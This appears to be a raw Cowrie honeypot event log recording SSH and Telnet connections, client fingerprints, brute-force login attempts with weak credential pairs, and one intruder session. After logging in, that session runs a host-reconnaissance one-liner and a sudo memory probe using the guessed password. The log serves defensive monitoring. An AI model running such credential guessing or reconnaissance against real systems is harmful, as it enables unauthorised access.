{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:43.599212Z","src_ip":"27.71.230.31","session":"611db6b2242b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PASSword!123","message":"login attempt [root/PASSword!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:48.686433Z","src_ip":"27.71.230.31","session":"611db6b2242b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52892,"dst_ip":"159.203.135.109","dst_port":23,"session":"14d93941b152","protocol":"telnet","message":"New connection: 172.81.62.90:52892 (159.203.135.109:23) [session: 14d93941b152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:53.742591Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52904,"dst_ip":"159.203.135.109","dst_port":23,"session":"20daafc9f0a0","protocol":"telnet","message":"New connection: 172.81.62.90:52904 (159.203.135.109:23) [session: 20daafc9f0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:53.760869Z"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:58:53.822154Z","src_ip":"27.71.230.31","session":"611db6b2242b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":60922,"dst_ip":"10.17.0.5","dst_port":22,"session":"348f250f2b8f","protocol":"ssh","message":"New connection: 91.92.40.13:60922 (10.17.0.5:22) [session: 348f250f2b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:04.699175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:05.237055Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:05.314536Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":44074,"dst_ip":"159.203.135.109","dst_port":22,"session":"941b762ef7c8","protocol":"ssh","message":"New connection: 216.155.93.75:44074 (159.203.135.109:22) [session: 941b762ef7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:05.866974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:05.871277Z","src_ip":"216.155.93.75","session":"941b762ef7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:06.022093Z","src_ip":"216.155.93.75","session":"941b762ef7c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:06.528624Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe","message":"login attempt [root/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:06.658339Z","src_ip":"216.155.93.75","session":"941b762ef7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:07.423914Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:07.427199Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:07.430517Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:07.433744Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:07.437613Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":44,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:07.745752Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:07.810399Z","src_ip":"216.155.93.75","session":"941b762ef7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:08.360929Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'admin123' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","message":"CMD: echo 'admin123' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:08.363805Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","message":"CMD: m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:08.367403Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"while read k v r","message":"Command not found: while read k v r","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:08.370652Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"{ m=$v","message":"Command not found: { m=$v","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:08.373863Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"break ","message":"Command not found: break ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:08.376848Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"} ","message":"Command not found: } ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:08.379645Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cfe86fcce9e06378f55d9e7052c1378dcc8b7970336b552a1e51ecbbe89f0d05","size":124,"shasum":"cfe86fcce9e06378f55d9e7052c1378dcc8b7970336b552a1e51ecbbe89f0d05","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/cfe86fcce9e06378f55d9e7052c1378dcc8b7970336b552a1e51ecbbe89f0d05 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:09.133376Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:09.137061Z","src_ip":"91.92.40.13","session":"348f250f2b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56412,"dst_ip":"159.203.135.109","dst_port":23,"session":"20a570bc425d","protocol":"telnet","message":"New connection: 128.199.8.54:56412 (159.203.135.109:23) [session: 20a570bc425d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:13.007772Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":51811,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d04d01202e8","protocol":"ssh","message":"New connection: 170.80.65.140:51811 (10.17.0.5:22) [session: 4d04d01202e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:13.325662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:13.329781Z","src_ip":"170.80.65.140","session":"4d04d01202e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:13.451973Z","src_ip":"170.80.65.140","session":"4d04d01202e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rohit","password":"rohit123","message":"login attempt [rohit/rohit123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:13.973297Z","src_ip":"170.80.65.140","session":"4d04d01202e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:15.098138Z","src_ip":"170.80.65.140","session":"4d04d01202e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.10838794708252,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:31.869118Z","src_ip":"172.81.62.90","session":"20daafc9f0a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.11714577674866,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:33.859638Z","src_ip":"172.81.62.90","session":"14d93941b152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44190,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6042359c206","protocol":"telnet","message":"New connection: 128.199.8.54:44190 (159.203.135.109:23) [session: f6042359c206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:41.521197Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47912,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e5b8b57578a","protocol":"telnet","message":"New connection: 128.199.8.54:47912 (159.203.135.109:23) [session: 3e5b8b57578a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:48.863759Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48580,"dst_ip":"159.203.135.109","dst_port":23,"session":"e27984c42126","protocol":"telnet","message":"New connection: 128.199.8.54:48580 (159.203.135.109:23) [session: e27984c42126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:48.889534Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52234,"dst_ip":"159.203.135.109","dst_port":23,"session":"6654c5fc242d","protocol":"telnet","message":"New connection: 128.199.8.54:52234 (159.203.135.109:23) [session: 6654c5fc242d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:59:58.119705Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51622,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a977c8ab714","protocol":"ssh","message":"New connection: 103.27.238.114:51622 (10.17.0.5:22) [session: 2a977c8ab714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:01.774062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:01.778775Z","src_ip":"103.27.238.114","session":"2a977c8ab714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:02.049520Z","src_ip":"103.27.238.114","session":"2a977c8ab714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57670,"dst_ip":"159.203.135.109","dst_port":23,"session":"619601b11355","protocol":"telnet","message":"New connection: 172.81.62.90:57670 (159.203.135.109:23) [session: 619601b11355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:02.310423Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"4222570","message":"login attempt [root/4222570] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:02.862036Z","src_ip":"103.27.238.114","session":"2a977c8ab714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:04.141931Z","src_ip":"103.27.238.114","session":"2a977c8ab714","protocol":"ssh"}
